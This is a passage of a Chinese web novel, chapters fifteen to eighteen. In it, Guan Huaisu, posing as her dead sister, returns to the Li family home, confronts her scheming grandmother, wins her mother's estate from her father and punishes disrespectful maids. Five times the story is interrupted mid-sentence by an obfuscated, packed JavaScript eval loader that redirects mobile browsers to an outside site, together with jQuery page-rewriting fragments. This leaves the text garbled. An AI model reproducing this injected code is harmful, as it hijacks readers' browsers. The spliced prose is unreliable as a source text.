“钟妈妈说,姑娘您也在胡闹,所以她只能跟着一起胡闹了。”显然对于关怀素的反应,钟妈妈心中十分有数,竟然已经提前跟柳叶说过了自己的回答。 这话把关怀素一下子噎住了。 柳叶叹了口气,又说:“妈妈说大姑娘死的确实蹊跷,还有……妈妈说,她听到大姑娘临终遗言,心中也想到了不对劲的事情,当初娘子的死,如今想起来,确实有一些与李家传来的消息合不上的地方。” 关怀素一听,立刻惊问怎么回事。 却原来是柳叶与孙文书带着李婉玉到家的时候,把钟妈妈吓得差点没昏死过去。 结果知道死的不是关怀素,钟妈妈先是放下心来。 结果一听是大姑娘,又看大姑娘身量小、头发枯黄,便指天骂李珺全家祖宗不是好东西,把个娘胎出来健壮的姑娘养成这样,瞧着竟比先天不足的二姑娘还恓惶可怜! 等到听说了大姑娘临死前的话,钟妈妈更是气得差点没直接挽袖子直接冲上京师与李家人拼命。 “妈妈说,当日她带二姑娘离开时,娘子虽略有疲惫,但是气色尚好,说话有力,且娘子与姑娘您一样,都是跟着老太爷一起走亲访友长大的,爬山也不在话下,在闺阁里的时候身体就比一般男儿还好,生产时也没遭太大的罪。虽说是有崩漏不尽之症,很是折腾,但是如今想想,娘子去得实在是突然。”柳叶说完,又说,“妈妈说,既然大姑娘都这么说,此事只怕真的有猫腻。加上大姑娘死得也是蹊跷,她老人家支持您细查此事!” 家里人如此说,叫关怀素心中无限温暖,连连点头,说:“如此,我便放心入京,回李家细查了!” “姑娘去哪里,我都跟着。”柳叶认真地说完,而后才苦恼地说,“可是,我听说李家这几个月都没人来庄子上,难道您要自己上门去吗?还有李家诸人什么性情、什么情况,姑娘两眼一抹黑,届时如何行事呢?” “这些事情,这些日子我虽在八仙庄,也没闲着,已经吩咐人查得七七八八了。”关怀素对柳叶说,“你既然回来了,明儿我就开始准备,让李家人来接我。” 柳叶听她这么一说,顿时放下心来。 二人又说了会子话,柳叶旅途劳顿,便早早歇息了。 第二天一大早,一众犯事儿的下人都被捆了出门。 “姑娘,姑娘!丁妈妈,救命啊!”碧桃被拉出来的时候,知道要去衙门,晓得自己绝对讨不了好,立刻尖叫起来,“你答应我什么都说了就给我个好去处的!丁妈妈,你说过姑娘答应过我的!” “姑娘,饶命、饶命啊!”兰花也在一边大哭大喊,挣扎着不肯挪动身体。 另一边,白成才与他那几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些人,不过是暗处之人的马前卒罢了。 真正背后造成这一切的人还在逍遥法外。 大宅之内,栏杆上的雕花已经剥落,廊下的花草也已经开始挂霜。 这破旧的别庄可不是真正的战场,一切还没结束,一切才真正开始。 这个时候,那官衙的鸣冤鼓敲响的,才是真正好戏开锣的声音。 第十五章 回京 京师,府衙口。 围观审案的百姓举座皆惊! 刁奴多年欺压乡邻、残害人命不说,还欺压幼主、暗害主人,竟然做了断肠草送主人吃! 这种事情何其夸张,让人格外不解,又不是家中长辈不在,怎能让家中女儿如孤女一般被下仆**至此? 每当众人讨论,恰好就会听到有人悄悄说一句“啊,想起来了,李家那发妻早逝,如今是继妻,那被欺辱的是原配嫡女……” 再意味深长地说一句“哎呀,那庄子像是先皇赏赐给大儒关怀远老先生的,那八仙庄可是皇庄啊!做了陪嫁就算了,如今自己的外孙女就这么在阿娘的陪嫁庄子上被下毒……啧啧……” …… 这话一说,众人顿时被点到了盲点! 确实,若是普通奴大欺主,只是让人震惊,可是这若是牵扯到后宅阴私,不免就让人津津乐道起来。 尤其是李家这件事情,说起来确实十分微妙。嫡妻死后留下孤女和偌大嫁妆,丈夫一年后立即续娶就算了,竟然还把刚及笄的嫡女丢在乡下庄子里几个月不闻不问,最后孤女居然被下人下毒差点惨死…… 这也太巧合了一些。 只差把谋害嫡女、谋夺发妻嫁妆这事儿写在了明面上啊! 这事儿要是继续发酵下去,只怕甚至会上达天听! 毕竟当今圣人以儒家礼法治理天下,此事不处理好,李珺只怕要落得个治家不严、私德有亏,只怕连乌纱帽都保不住。 关怀素审问详细,人证物证都在,几乎没有翻案的可能性,基本上一送去官府,当天就定下大罪。 “李家人只要不是真的傻子,会以最快的速度接我回家。”庄子上,关怀素拿着一颗棋子,啪地放在棋盘最边上,大龙已成,柳叶输得彻底。 三日后,果如关怀素所料,一大早上,几乎天还没亮,李家来人了。 算算时间,基本是事发就连夜赶路前来。 “都让去外面等着,这会子天还没亮,没到姑娘起身的时候。”丁妈妈早知道姑娘与李家不睦,这会儿自然拿腔拿调,先给他们来个下马威。 外头李家婆子们登时就面上起了怨怼之心,还有人直接冷哼一声说:“大姑娘如今真是好大的脾气!” 等到关怀素醒过来时,丁妈妈立刻说:“姑娘,那几个婆子看起来颇有些脾气,一会儿不知道会不会冲撞了姑娘。” “我知道了,让她们进来回话就是。”关怀素慢吞吞吃完了最后一个素馅馄饨,漱口之后,随手挑了件半新不旧的浅蓝色半臂,一边对丁妈妈说。 “哎!”丁妈妈转身要走,回头看到关怀素穿上那件半臂,愣了一下问,“姑娘不穿些见客的衣裳?” “不过是见几个下人罢了,还值当咱们姑娘特地装扮一番?”关怀素没说话,柳叶却笑着回答。 丁妈妈顿时知道自己是想岔了,把人当回事,才会特地郑重打扮,要是姑娘真为了几个下人就打扮一新,也确实把自己弄得太掉价了一些。 不愧是姑娘,还有这柳叶,也不愧是关家派来侍奉的,这段时间相处下来,处处把以前的碧桃和兰花比的相形见绌。 这才是大家闺秀的气派呢。 丁妈妈莫名觉得自己也威严三分,挺直了身子,趾高气昂地去门口传话了。 李家婆子们进来,便见外头已经起了秋风,大姑娘却只穿着单薄旧衣,虽面色红润,但看得出来京城传言不假,大姑娘身上的东西都被丫鬟克扣空了。 一个主子却被下人拿捏,差点害死,婆子们不免面露轻蔑。 “姑娘,老夫人命我们前来接您回家。”婆子上门前略微敷衍行礼,便站起身催促,“趁着天色尚早,姑娘便收拾一下,赶紧与我们一起家去吧!” “你们李家怎地如此没规矩?”柳叶皱眉呵斥,“你们到底是李家哪房哪处下人,老夫人又是如何吩咐……这些你们都不说,也无信物,难道随便来个破落户进来,都让姑娘跟着走不成?!” 这话说的,几个老婆子立刻脸色不好。 “原先兰花和碧桃都认识我们……”当头婆子忍不住开口,反而诘问柳叶,“你又是哪里来的乡野丫头,这样不知规矩,连长辈房里的人也随意辱骂?须知老爷最重孝道,说家中只要是老夫人身边伺候的人,比一般小辈还要得几分体面,不可随意折辱……大姑娘想来应也是知道的。” 这话说的,也是粗使下人十分不讲究了。 “柳叶,你别说了,我们这就跟着回去吧。”关怀素温声开口,说,“只是劳烦诸位妈妈稍等,我稍微收拾一下再走。” 丁妈妈在旁边已经开始挽袖子,本来还以为按照大姑娘这些日子的脾气,接下来要把这些人关起来打一顿,却没想到完全不如自己所想,顿时愣了一下,才跟着进屋去。 走出见客的偏厅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183291|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一进屋丁妈妈就说:“姑娘方才怎么不打那帮老货一顿?跟这儿充大头蒜,瞧着让人心里不爽利!” “不用,不过是些看碟下菜的,不必浪费力气与她们争执,回头就能收拾了。”关怀素温声摇头,又说,“正事要紧,妈妈,我那些破旧衣衫可都收拾好了?” “都收拾好了!”丁妈妈连忙点头,外头小荷也进来了,穿着一身灰褐色粗麻短衫长裤,活脱脱一个乡下孩童样子。 “好!小荷这样子很不错!”关怀素笑了一下,说,“大家都把衣衫换上吧,咱们这**京师,越是显得破落户越好!” 这是关怀素原本就想好的,这**京,路上也要两日,关怀素说什么都要先让所有人都产生一个印象——李家嫡长女,太穷酸了! 一则是为了宣扬姐姐的冤屈,二则是为了八仙庄。 这八仙庄,她必须拿到手。 否则她辛辛苦苦在八仙庄修水道、添新农具、教导下人……到时候岂不是为他人做嫁衣裳? 而李家老夫人定然是不舍得这下金蛋的母鸡,只能以形势逼迫,让她主动吐出这块肥肉。 换好衣衫,众人登时寒酸的仿佛要去打秋风。 关怀素自然得比她们穿好点,只是也是挑的半新不旧的料子,头顶上只戴了一朵旧的褪色绢花。 主仆四人连包袱也各自只得一个褡裢,就这么出了门。 身上贴身带着的钱财都换成了轻薄的银票与碎银,但是这些婆子并不知道,只看着关怀素主仆四人这样子,脸上掩饰不住的轻蔑。 等关怀素上车,婆子们在后头就忍不住就嘲讽起来,说:“到底是个破落户,身上榨不出二两香油来!” 还有人说:“就知道这事儿是个苦差事,连赏钱都没有。” 另一人说:“还赏钱,你看那样子,她自己身上能有一个钱吗?!” 至于关怀素四人,在前头的马车上看着景色,到了地方就下马车住店,一路上丁妈妈穿着补丁的衣衫说自己是“京师吏部郎中家原配嫡女的贴身妈妈”。 等到离开之后,立刻便有个跛子在旁边啧啧摇头,说“这就是前些日子差点被下人害死的那个李家大姑娘啊?听说她外祖父当年还是三品大员,她娘陪嫁庄子钱财无数呢!” 这一通掰扯下来,等到关怀素一众人到京师的时候,李家那被苛待的大姑娘回家的消息已经长翅膀一般传到了京师。 第十六章 初见 京师,早朝后,左掖庭外。 一面貌清癯俊朗的中年文官正拾级而下,不远处好友迎路赶上,笑唤:“子君,等等我。” 李珺驻足等待,友人过来左右四顾,见四下无人,便凑到他面前小声说:“子君,我知你一心扑在公事上,但是家宅不宁可是大事,子君兄也应把后宅之事打点好才是。” 李珺心中疑惑,忙问好友何出此言。 “你竟还不知道吗?昨日起满京师都在传,你那嫡女一路从京郊回京,据说打扮很是落魄,身边仆婢粗麻衣衫尚有补丁……子君,”友人唤李珺小字,皱眉不赞同地说,“我知你为官清廉,可当初关大人陪嫁万贯家资给令夫人,满京师谁人不晓?怎能让孩子拮据至此?” 李珺平日官声极好,与人为善,与朝中清流关系也颇好。 这么多年,他是第一次被交好的友人用这种语气质问,虽言语极温和,但是内在意思已经足够让李珺羞耻不已。 “往日家中事务全权交给夫人,我竟不知还有此事!实在是惭愧至极!我即刻回去查清此事,多谢彭兄。”李珺拱手,羞耻难耐地与友人道别,大步出宫。 上了马车之后,李珺忙问长随茅二到底发生了何事。 长随茅二也是一大早才得知大姑娘回京的流言,这会子连忙一五一十交代清楚。 李珺这才恍然大悟,顿时大怒,连声催促回家。 到家之后,还没开始发火,管家匆匆赶过来禀告:“郎君,大姑娘到家了,正在老夫人屋里拜见。” 李珺一听,衣服也不换,往母亲房里赶去。 李家二门内,正屋里铜兽流香,满屋子都是一股子馥郁的花香气。 关怀素垂眸,规规矩矩地正在对着祖母请安。 她看似恭敬,实则一路都在观察李家的状况。 李家住在京师内城,地段十分不错,屋子是标准的三进大院,虽不算豪阔,但已经十分舒服。 要知道京师地价贵,五品官员外放尊贵,到了京师,却也不过是普通,有些家底薄一些的,为官十年也买不起京师一处普通宅邸。 关怀素早打听得清清楚楚,李家乃是肇州小门户,门第早已衰败,轮到李珺上京时,已与一般清贫士子无异。 李老夫人也只是秀才之女,并无娘家支撑。 如此家境,自然不可能在为官短短三年就购下这样的宅邸,毕竟这宅子在先皇时,只怕也得两千两左右。 此宅定是母亲所购。 母亲姐姐都已经死去,可能存在的凶手却还住在母亲所购的宅邸里,这样的事情,关怀素虽心中心绪起伏,但是到底心中有所准备,也不至于失态。 进门见到榻上斜歪着的银发老妇人,身穿鲜红满绣福字图案比甲、头戴着镶红宝抹额并插八根福字金簪的老太太时,关怀素表情依然稳当。 她规规矩矩上前,左右手交叠行了一个礼,轻声说:“祖母安康。” “哎呀,婉玉我的儿,你可算是舍得回来了!”老夫人慈爱一笑,伸手拉着关怀素到面前,一派关心地念叨,“你说说你,不过是被宋家三郎说了一句,女儿家面皮怎么就这么薄,竟这么任性非要去庄子上住,一去几月,让全家都担心!” 关怀素眼神微变。 这一个照面,关怀素就发现了,她这个祖母,确实是个厉害角色。 兰花和碧桃都交代了,当初姐姐被发落到庄子上,乃是家里人嫌弃姐姐在宴会上受了奚落,斥责她轻浮放浪,让她去庄子上反省。 临走时姐姐哭求,却依旧被塞上马车。 如今祖母一个照面,便颠倒黑白,说的仿佛是姐姐任性、舍下长辈独居,真是熟练得彷如老马识途。 关怀素心里知道,她不能这么认了,否则明儿开始,这件事情就会变成事实。 只要她是“任性”自己去庄子上,那么后续被下仆所害等事情,那都算得上是咎由自取了。 自然怪不得别人。 关怀素瞬间就想得清楚,表面上却只是笑了一下,轻声说:“祖母说的我竟然不知,当初是下人推着我上的马车,我在您院子里大声哭喊,求祖母饶了我……祖母难道是没听到……还是忘了?” 这话一出,老夫人慈爱的笑容顿时一僵。 她有些惊疑不定地看关怀素,显然不明白平日锯嘴葫芦一样逆来顺受的大孙女,怎地突然牙尖嘴利起来。 而且……怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183292|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉似乎在讥讽她? 可仔细一看,这大孙女脸上平静,却像是完全不懂自己说的话是什么意思一样,似乎没有任何言下之意,真的只是单纯地在疑问而已。 这让老夫人有点下不来台。 老夫人身边的老妈妈立刻上前打圆场,一张胖脸看着十分和气,连声说:“哎呀,姑娘赶路了几天,想是身上难受,快去休息一下换身衣衫吧!” “是了!兰花与碧桃那两个背主奴才真是可恨,陈妈妈,你去把我屋里年轻时候的衣衫拿几套给大姑娘,明日再让裁缝来给婉玉多做几套衣衫,再打些首饰……这可怜的……”老夫人仿佛这时候才看到关怀素一身过于寒酸的穿戴,立刻另起话头,马上吩咐。 这是赶紧让她换下这些破旧衣服,给她点甜头,还是想把这事儿最快速度抹平。 其实若是老夫人在她回来后直接大大方方地骂人或是仔细询问庄子上的事情,关怀素都觉得正常。 可是老夫人越是极力假装平静,关怀素却愈发肯定——老夫人在心虚。 而且关怀素瞬间看明白了,这位祖母,对姐姐没有一丝祖孙之情。 这么大的事情,她竟然想用几套新衣服和首饰就糊弄过去,这可是内宅里唯一与姐姐有血脉关系的人! 哪怕关怀素心里早有猜测,姐姐能被送去庄子,在家里一定不好过,可此时发现连亲祖母都是如此,关怀素还是心中愤怒悲痛。 她捏紧拳头,强迫自己冷静下来,思量之间正想说话,门口就传来脚步声。 “母亲,听说婉玉回来了?”那声音清正谦和,关怀素却浑身一震,她意识到,这个人是她从未见过的父亲。 关怀素心中到底有些激荡,一转头,就见到一个浑身书卷气的清癯中年男人从外头进门,身上穿着从五品的补服,哪怕年岁已长,依旧有种风度翩翩的文士风采。 这是她的父亲,李珺。 关怀素几乎第一时间就十分确信,哪怕此前从未见过,哪怕半年之前,她甚至不知道世上还有此人。 这一见之下,关怀素就知道,这是她和姐姐的血脉至亲。 是她在世上还能寻找到的,最后一个最最至亲之人。 第十七章 交锋 李珺憋了一肚子火气,一进门看到个穿着个褪色旧蓝比甲的姑娘,鹅蛋脸杏子眼,这个天气居然还穿着单衫,一头双环髻倒是梳的整齐漂亮,但是连绢花也是褪色的旧物。 饶是李珺心里一肚子火,这一照面都变成了震惊,他脱口而出:“玉儿,你怎地这样了?!” 如所有同年纪的男人一样,李珺平日并不太管后宅儿女之事,女儿们都跟着夫人与娘亲住在内院里,他平日除了当值上朝,其他时间多在外院里教导两个儿子、或是出门访友会客,因此与女儿们相处并不多。 而大女儿婉玉与姐妹们比起来,活泼不如二妹婉容、聪慧不如三女儿婉淑。 如今想起来,李珺才愕然发现,他似乎确实好久没认真打量这个在家中如影子一般的大女儿了。 他是万万没想到,再次仔细一看,才发现大女儿似乎真的……实在是过于落魄了一些。 且走近了仔细一看,大女儿头顶那绢花里做花蕊的材料不知是珍珠还是什么,总之定然是稍微值钱一些的东西,因为那花蕊被剪得干干净净,竟是一朵空包花。 看着分外突兀。 李珺觉得自己像是被人凭空扇了几十个巴掌,脸上火辣辣地疼。 他终于知道为何老友如此告诫,为何这几日朝堂偶尔有人用异样眼神看他。 只怕满京师都找不出一个五品官员嫡女,能过成他李珺女儿这般。 “父亲万福安康。”关怀素谨慎地观察李珺神色,并不多说,只垂下眼眸,端端正正地行礼。 “你起来!”李珺几步上前拉起她,上下仔细看了一眼,靠近了更是看得清楚,这大女儿身上的衣衫破旧不说,衣襟袖口甚至都已经磨损到了十分明显的地步。 转头再看看那头上顶着八根金簪的老母亲,两方对比实在太过鲜明,李珺忍了一下,到底没忍住,带着点怒气地说:“娘,你看看玉儿,这比人家破落户还不如了!” 这话说的,老夫人登时不痛快了:“你朝着我嚷嚷有什么用?谁知道哪起子没心肝的竟然连主子都敢欺负?婉玉自己不说,我又如何得知?” 说着又转头对关怀素说:“玉丫头,你这孩子也是,我知道你素来最是和善,对下人也从来都是极好的,这原是好事,可是怎可纵容他们到此地步?你啊,糊涂!” 关怀素心中冷笑,为这老虔婆的颠倒是非。 “祖母说的是,只是之前我同您说,兰花偷了父亲送我的及笄金簪,想找您做主追回,您说无凭无据不可随意诬陷下人,待身边下人也要宽厚些才是。”这都是碧桃和兰花交代的事情,关怀素此刻刚好拿来堵老虔婆的嘴。 “母亲!玉儿说的可是真的?!”李珺一听,顿时愣住,不可置信地看向自己的母亲。 坐在榻上的老夫人羞恼惊疑的表情让李珺瞬间就明白了,大女儿说的可能是实话! 他顿时怒极,连声质问:“母亲,你何以如此糊涂?玉儿都说了被窃,这种下人还留着做什么?不应即刻查清、发卖出去吗?!” “我当日是让她拿出证据!她什么都拿不出,我老了心力不济,还能作甚?如今当家的也不是我呐!”老夫人一拍桌子,自知无理,反而先撒起泼来,她到底是乡间小户出身,平日无事还能维持住老夫人的仪态,此时被质问,自知站不住脚,立刻便要捂着心口,做出一副被气到的样子说,“我老婆子从来只知道宽厚待人,哪里知道世上竟有这样的腌臜人物?!” “祖母说的是,父亲也不要为此责怪祖母。”关怀素见老夫人开始胡搅蛮缠,知道再争吵也无益,立刻站出来劝解,她勉力微笑,温声劝导,“父亲,不要为了我与祖母争吵,婉玉无事的。” 她不说还好,这么一说,再看看旁边捂着心口发横的老娘,李珺真是火气更盛。 “祖母,这些也是婉玉的命,”关怀素对父亲说完,又对着祖母行礼,说,“婉玉说当日之事,并非责怪祖母的意思,还请祖母勿怪。” 老夫人一听,顿时心中窃喜,还以为这事儿要过去了,立刻挥开身边的婆子,对着关怀素说:“哎呀,我就说我们玉儿是最最体贴温厚的,一路劳累,你也快回屋里歇着吧!” 说完,竟想就这样把事情过去了。 “父亲,是婉玉不是,让您担心了。”关怀素笑着转头,又露出有些犹豫之色,轻声说,“只是婉玉有两件事情不是,一则我那两个丫鬟,乃是祖母与大娘子分别所赐,按道理要处置也应当绑回来才是。二则八仙庄本是祖母在管,我却承诺八仙庄佃户,日后佃租两成,永不加息,这才安抚了大家。” 关怀素说完,屈身行了个大礼,说:“婉玉越俎代庖,还请父亲与祖母原谅则个。” 李珺看她粗布旧衫,行事举止却落落大方,谈吐之中看得出来才思敏捷……与昔日仿佛判若两人。 不需要关怀素多说,李珺脑海之中已经替她想好了如此变化的原因——被下人欺辱、一个孤女孤零零的,还遭遇刁奴盘剥引发民变……她若是还如之前在家时那样温吞的性子,只怕也回不来见他们了。 先不说处置背主丫鬟理所当然,最最紧要的佃租之事,这大女儿处理得看似割肉,导致从此庄子上租钱大减,但是其实却是及时挽回了家里的名声。 否则要是真传回京师,如此盘剥良民,只怕他李珺这辈子的仕途也就到此为止了。 “什么?!从此租子只收两成?你这个混账,谁让你替我答应的?那庄子一年少了大半进项,你让家里日后喝西北风不成?!”偏这个时候,旁边的老娘又生气地大喊。 李珺本就强行让自己忍了一次又一次的怒气,此刻看着眼前大女儿垂眉请罪,一身旧衣,看着可怜无比。 再看看旁边光鲜亮丽还为了那几成租子跳脚的老娘。 “八仙庄本就是婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183293|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉她娘的嫁妆,既然婉玉已经及笄,日后便交给婉玉自己打理就是,娘你就别管了!”李珺瞬间脱口而出。 这并不是李珺的冲动决策,路上李珺就在如此考虑。 苛待嫡女,放一般人家,或许并没有那么严重。可是放在他身上,绝对不可。 要知道关家老爷子年轻时虽无帝师之名,却也教导过当今,便是关素问当初也曾与先帝同窗……这些情分,谁知道当今心里是否还记得? 关家千金嫁女,只留下一滴骨血,如今闹出这等被苛待的丑事,真要被人参上一本,惹得今上不悦,他李珺仕途只怕就到此为止了。 因此李珺必须马上让流言平息下来,要堵住悠悠众口。 所以他路上就想好,皇庄必须给大女儿! 可问题是,李珺自己心里打算得清楚,可他老娘不知道啊! 李珺一说,老夫人捂着心口大喊心痛。这回就不全是装模作样了,而是真的是心疼了——家中家用全数是儿子李珺那边负责,那皇庄一年三百两都是进老夫人一人的腰包,这猛地全拿走,简直是生生挖老夫人的心头肉啊! 李珺看老娘要厥过去的样子,立刻说:“娘,我已经决定了!婉玉,日后庄子上来人,只管去给你回话,一应地契等等,我一会子都叫人给你送去!” 说完叹了口气,温声说:“你这么大的姑娘了,也合该是有点体己才是。往日是爹爹没注意到,是爹对不住你。” “爹!”关怀素目的达成,立刻假作惊喜的表情,不可置信地问,“爹说的可是真的?!” 到底是自己的骨肉,李珺本来全是一门心思为自己打算,只还有些头痛如何应付老娘的脾气,如今看到大女儿这喜悦的样子,方才本来只有三分愧疚,一瞬间却已经到了八分。 要知道其他几个女儿习惯和他撒娇,看中了什么好东西也总会找他缠磨,年节时候,偶尔动辄几十两都是常见花费,就算是他不给,她们各自都有自己的娘亲小娘护着……李珺突然发现,这好像还真是他第一次给这个大女儿送一样东西,一个可倚靠之物。 而这个大女儿,是真正没有任何人为她打算的。 甚至他给的东西,其实本就是属于大女儿的。 “是,爹说得是真的!”李珺心中略微羞愧,立刻回答,到底心中有些刺痛,于是又补了一句,“一会儿让账上给你做些首饰衣裳……委屈你了。” “不委屈。”关怀素摇头,眼里带着喜悦,又含着一点泪水,对李珺说,“有爹心疼我呢,婉玉一点也不委屈。” 李珺看她微笑时眼里含着一点泪花,却神色明朗,真的看着对他竟无一丝怨怼之色,只有信任和濡慕。 李珺一瞬心中剧震。 “你说的是什么胡话!她那么小一个人,要那么大个庄子作甚?”李珺还在心中震动,一边的老夫人却真气到了,捂着胸口就要哭。 第十八章 刁奴 “你先回房安置吧。这一路也怪辛苦的!”李珺心中第一次对这个忽视的大女儿有了浓烈的愧疚,看她虽强打精神却还是掩饰不住疲惫之色,就对旁边的柳叶说,“去,带着你家姑娘回屋,早些安置。” 关怀素对父亲和老夫人行礼离开。 离开时老夫人还在干嚎,压根没搭理关怀素。 关怀素也不管,出门与被晾在外头吹风的丁妈妈和小荷汇合,带着包袱自回院子。 李家是正经三进院子,姐姐住的是后院的东院,挂了个“素心居”的牌子。 后院有天井回廊环抱,中间还有小片竹林倚墙而生,地上丛抱矮冬青,翠绿之中红果点点,看着也算雅致。 关怀素心中激动又期待,想着不知姐姐这样温雅的人,住的地方如何装扮? 姐姐喜欢什么样的帐幔、什么样子的首饰?可曾读书,又可曾往书里记下过什么想法?姐姐喜欢的钗环首饰是什么样子的?可与自己相同? …… 怀着种种幻想,关怀素激动地推开素心居半敞着的大门,一眼就看到天井石桌前,两个看打扮是二等丫鬟的婢女在坐着喝茶吃点心。 见有人来,那两个丫鬟动作一顿,下一刻穿丁香色比甲的丫鬟站起来,讪笑着行礼,口里说:“姑娘回来了!” 这么说完就算了,竟连个正经见礼也没有,也没有过来接手包袱干活的意思,竟像是等着喊让她们继续坐下来吃喝。 丁妈妈看着邪火直冒,立刻上前大声呵斥:“你们两个是哪里来的大家小姐,**坐在院子里吃点心,看到主子进门了居然都不晓得请安喊人,你们是来伺候人的还是让人伺候的?!” 这一通抢白,把院子里的两个丫鬟给弄得下不来台,穿藕荷色裙子的丫鬟就露出不忿之色,开口抢白:“原是大姑娘定的规矩,院子里不必拘着,不用时时行礼,我们也只是听大姑娘的吩咐,若是大姑娘要改,我们定然也会从此改了。” 说完,那丫鬟就看向关怀素,竟一副理直气壮地等着关怀素给她评理的样子。 关怀素笑了一下。 这丫鬟就脸上露出得意之色,得意地看丁妈妈,说:“姑娘才不是你这样小心眼子的人,你拍错马屁了!” “荷花,你别说了!”穿着丁香色比甲的丫鬟看看关怀素的表情,她倒是像是真的心里有点清明的人,这会儿似乎看出来了关怀素的心情并不好,整个人都站的端肃了许多,没了嬉笑之色,一直在拉荷花的衣摆,想让她快些住嘴。 “哎呀,杏子,你拉我作甚?!”偏荷花完全没看出来,反而还不耐烦地挥开她的手。 “说完了?”关怀素看她不说话了,这才开口。 荷花这才发现,大姑娘虽然是笑着和她说话,但是却完全不似平常的笑。 平素大姑娘笑的时候,那笑容都是柔和的,但是今天姑娘虽在笑,那笑容却是冷冷的,与素日完全不一样。 荷花觉得有点不对劲,但是又说不出为什么,就听到关怀素温声问:“我说过,院子里不用时时拘礼,可说过从此不用分尊卑高下?可说过你们可以不用把我放在眼里?” “姑娘,荷花不是这个意思!”荷花听着不对,若是一般丫鬟被主子这么问,知道已经惹怒了主人,定然会立刻跪下来请罪,但是荷花早跋扈惯了,反而站在原地继续争辩:“本就是姑娘自己说的,院子里不必拘礼是主是仆,老夫人和夫人不也是因此常夸姑娘,说满屋就您对下人最为体恤呢!” “那老夫人和夫人屋里的下人,可都如你们一般,穿着这般鲜亮,打扮得这么俏丽,白日坐在这里吃茶闲话,见着主人也不用问安?”关怀素温声问。 她说话并不提高声音,音量一般大,说话的语调也是十分斯文的,但是中气很足、思路十分清晰缜密,只几句话就问的荷花语塞。 荷花心中也是惊疑不定,她也是在院子里待了几年的老人儿了,知道自家姑娘的性子,那是个笨口拙舌的泥菩萨,素来无论是她们不管怎么做,只需要抬出老夫人和夫人,她就算心里不快活,也找不到话说,自然也就只能吃闷气。 今儿荷花也以为如此,却没想到姑娘却突然换了一个人一般,几句话弹压得她一时愣住,完全说不出话来。 让她怎么说?说夫人和老夫人院子里都是如此?这不是胡说么! 但是说不是,那岂不是又坐实了她不分尊卑? “回答我,荷花,家里的规矩是允许你们坐着吃茶、见到主子不问安、还许你们穿绸缎的吗?”关怀素加重语气缓缓地问。 这话一出,别说荷花脸上青一阵白一阵,旁边的杏子不安地拉了一下自己身上丁香色的缎面褙子,也露出了局促之色。 “姑娘误会了,这原也是姑娘心疼我们赏下来的衣裳,我们也是想着今儿迎姑娘回家,特地想穿得鲜亮一些……我们这就去换了!”杏子反应倒是不慢,立刻便开口说。 “是,姑娘既然看不惯,我们便换了便是,左右原先也是姑娘让我们随便穿的……”荷花硬邦邦地说。 关怀素笑了一下,摇了摇头,这才对身边的丁妈妈说:“罢了,我这座小庙,可容不下这样娇贵的丫鬟,妈妈,既然荷花不服气,你带她自去祖母屋里,就说这个丫头我是留不下了,让她老人家安排吧。” “是,姑娘!”丁妈妈就在这里等着呢,听到关怀素一吩咐,立刻精神抖擞上前,一把反剪住荷花的双手就往外头拉。 “你干什么?你这老虔婆放开我!”荷花尖叫,柳叶立刻上前帮忙,两人架着还在尖叫的荷花就一路往外出去。 从后院一路出去,荷花的尖叫和谩骂一路是全家上下应当是听得清清楚楚。 关怀素没打算继续去祖母那儿请安,看荷花被柳叶和丁妈妈拖出去,转头看着杏子。 杏子只犹豫一瞬,立刻就跪倒在地上行了个大礼,不安而又恭敬地说:“姑娘万福,杏子给姑娘请安。” “你倒是个聪明人。”关怀素笑了一下,摇摇头,带着小荷往屋里走。 她没叫起来,杏子就脸色发白地跪在院子里,关怀素裙摆擦着她的脸而过,杏子看到那洗得发白褪色的裙摆。 往日全家上下,谁不拿大姑娘寒酸取笑? 可是今日那发白的裙摆扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 